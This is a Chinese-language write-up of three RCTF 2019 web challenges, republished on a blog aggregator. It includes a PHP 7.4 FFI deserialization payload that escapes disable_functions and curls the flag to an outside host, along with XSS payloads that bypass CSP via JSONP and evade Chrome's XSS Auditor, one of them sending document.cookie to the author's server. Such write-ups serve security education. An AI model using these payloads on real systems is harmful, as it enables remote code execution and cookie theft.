内容简介:文章首发于先知:https://xz.aliyun.com/t/5218题目直接给了一句话木马,于是先 phpinfo 收集一波信息,发现是 PHP 7.4 。disable_functions:
文章首发于先知:https://xz.aliyun.com/t/5218
nextphp
题目直接给了一句话木马,于是先 phpinfo 收集一波信息,发现是 PHP 7.4 。
disable_functions:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir:
/var/www/html
看起来十分严格,于是先读一下 Web 目录下有些啥,发现 preload.php:
<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } }
里面定义了一个可以反序列化执行任意函数的类,然而我们已经有了一句话木马,乍看之下好像没有任何作用。
好好想了想,起这个名字一般是预加载的文件,于是尝试在 phpinfo 里搜一下,发现:
opcache.preload = /var/www/html/preload.php
是没见过的孩子呢, google 一下这个配置:
https://wiki.php.net/rfc/preload
是 PHP 7.4的新特性,可以利用其在服务器启动时加载一些类和函数,然后就可以在之后如同 PHP 的内部实体一样直接调用,仔细读文档,发现一行:
In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones
dangerous? 同样在 phpinfo 里先搜一下:
FFI support = enabled
看来是启动了,于是同样去搜一下这是个啥:
https://www.php.net/manual/en/ffi.examples-basic.php
看起来可以利用 ffi 直接调用 C 语言编写的函数,且示例里还有:
https://www.php.net/manual/en/ffi.examples-callback.php
可以看到在 FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数,于是我们可以考虑直接调用 PHP 里执行命令的函数:
<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => "int php_exec(int type, char *cmd);" ]; public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __construct () { } } $a = new A; echo serialize($a);
最后反序列化执行:
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}');var_dump($a->ret->php_exec(2,'curl%20f1sh.site:2333/`cat%20/flag`'));
Flag:
RCTF{Do_y0u_l1ke_php74?}
rblog
进入题目后,先看着往年的 Writeup 膜一波蓝猫师傅。
查看网页源码,发现有一个 rblog.js ,点开看到里面有一个 api: /api/v2/posts
。
于是访问 https://rblog.2019.rctf.rois.io/api/v2/posts ,发现是返回了三篇 Writeup 且是固定不变的,没看出有什么可以利用的点。
随手找下别的 api: https://rblog.2019.rctf.rois.io/api/v2/post ,返回:
{ "status": false, "message": "'\/post' not found.", "data": [] }
好像存在反射型 XSS ?尝试:
https://rblog.2019.rctf.rois.io/api/v2/<img>
没有解析,发现是因为 Content-Type: application/json
。
在这里卡了一会儿,后面在想这个会不会是什么框架,于是 google 了一发路由:
才明白原来这个 v 是版本的意思,于是尝试了一波 https://rblog.2019.rctf.rois.io/api/v1/posts
同样测一波反射:
https://rblog.2019.rctf.rois.io/api/v1/<img>
这次解析了,因为此时 Content-Type: text/html; charset=UTF-8
。
XSS 有了,但是还有 CSP:
Content-Security-Policy: default-src 'self'; object-src 'none'
题目给了 hint:
API supports JSONP.
测试一下 https://rblog.2019.rctf.rois.io/api/v1/posts?callback=test ,返回:
test({...})
于是很容易想到:
<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>
但是发现会被转义,变成:
<script src=https:\/rblog.2019.rctf.rois.io\/api\/v1\/posts?callback=alert(1);console.log><\/script>
无法闭合 script 标签,所以这条路走不通。
测试了一下标点符号,发现只有正反斜杠、单双引号会被转义,那么很容易想到我们可以利用 html 编码来绕过这些转义,payload:
<iframe srcdoc=<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>>
在 Firefox 下已经可以执行任意 js 了,但是题目说明了 bot 使用的是 Chrome 74,当前的最新版本。在 Chrome 下这个 payload 会被 XSS Auditor 拦截,并且因为是最新版本的 Chrome ,暂不考虑是否存在什么 bypass auditor 的 0day 。
我们从 Auditor 的原理来考虑: Auditor 会检测 URL 中的含有的代码和页面中含有的代码是否一致,如果一致则会拦截。反之,从以往看到的很多 bypass 案例中,都可以知道如果后端对 URL 中的一些字符做了处理再返回,导致 URL 和页面中的内容不一致,就不会被拦截。
于是 Fuzz 后端会对哪些字符进行处理,测试到中文句号的时候发现:
后端会把中文句号 unicode 编码,于是我们就可以利用起这个操作,来混淆我们的 payload ,最终成功 bypass Chrome XSS Auditor :
https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=(很多个中文句号)%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23114%3B%26%2398%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2357%3B%26%2346%3B%26%23114%3B%26%2399%3B%26%23116%3B%26%23102%3B%26%2346%3B%26%23114%3B%26%23111%3B%26%23105%3B%26%23115%3B%26%2346%3B%26%23105%3B%26%23111%3B%26%2347%3B%26%2397%3B%26%23112%3B%26%23105%3B%26%2347%3B%26%23118%3B%26%2349%3B%26%2347%3B%26%23112%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%23115%3B%26%2363%3B%26%2399%3B%26%2397%3B%26%23108%3B%26%23108%3B%26%2398%3B%26%2397%3B%26%2399%3B%26%23107%3B%26%2361%3B%26%23112%3B%26%2397%3B%26%23114%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2346%3B%26%23102%3B%26%2349%3B%26%23115%3B%26%23104%3B%26%2346%3B%26%23115%3B%26%23105%3B%26%23116%3B%26%23101%3B%26%2347%3B%26%2363%3B%26%2339%3B%26%2337%3B%26%2350%3B%26%2398%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2359%3B%26%2399%3B%26%23111%3B%26%23110%3B%26%23115%3B%26%23111%3B%26%23108%3B%26%23101%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%3E
Report 给 bot ,成功在打回的 cookie 中获得 flag:
RCTF{uwu_easy_bypass_with_escaped_unicode}
ez4cr
这题是上一题的后续,从上一题打回来的 cookie 中可以得到提示:
hint_for_rBlog_2019.2=the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.
也就是这题需要在 https://report-rblog.2019.rctf.rois.io 域下找到一个 XSS 并且需要 Bypass Chrome Xss Auditor 。
同样在页面源码中的 js 文件里发现一个 api: https://report-rblog.2019.rctf.rois.io/report.php
按照上一题的思路,测试 JSONP: https://report-rblog.2019.rctf.rois.io/report.php?callback=test
https://report-rblog.2019.rctf.rois.io/report.php?callback=test
尝试反射 XSS: https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%3E
没有任何过滤,并且 Content-Type: text/html; charset=UTF-8
。
那么很容易就可以得到一个 Bypass CSP 的 XSS:
https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=https://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);console.log%3E%3C/script%3E
但是因为这一次后端没有对任何字符进行处理,所以无法再像上一题一样利用后端的处理来 Bypass Auditor ,感觉是一道硬核直接 Bypass Auditor 的 0day 题目。。。
经过漫长的 Fuzz ,队友 @wisdomtree 发现这样可以 Bypass Auditor:
https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);console.log%3E%3C/script%3E
仔细一看发现:
URL payload 中 script src 的协议 http 经过后端返回到页面中时直接变成了 https ,还贴心的给 src 加上了双引号,所以打破了一致性,绕过了 Auditor 。
于是 payload:
https://report-rblog.2019.rctf.rois.io/report.php?callback=3Cscript%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://xss.f1sh.site/?%27%252bdocument.cookie;console.log%3E%3C/script%3E
Report 给 bot ,成功在打回的 cookie 中获得 flag:
RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}
从 flag 感觉到我们的解法应该是非预期,于是问了一下蓝猫师傅,才知道这个协议的 upgrade 其实并不是后端处理的,而是因为题目使用了 Cloudflare CDN ,被 CDN 自动处理的,可以说是神助攻了。。。
以上所述就是小编给大家介绍的《RCTF 2019 Web Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Foundations of PEAR
Good, Nathan A./ Kent, Allan / Springer-Verlag New York Inc / 2006-11 / $ 50.84
PEAR, the PHP Extension and Application Repository, is a bountiful resource for any PHP developer. Within its confines lie the tools that you need to do your job more quickly and efficiently. You need......一起来看看 《Foundations of PEAR》 这本书的介绍吧!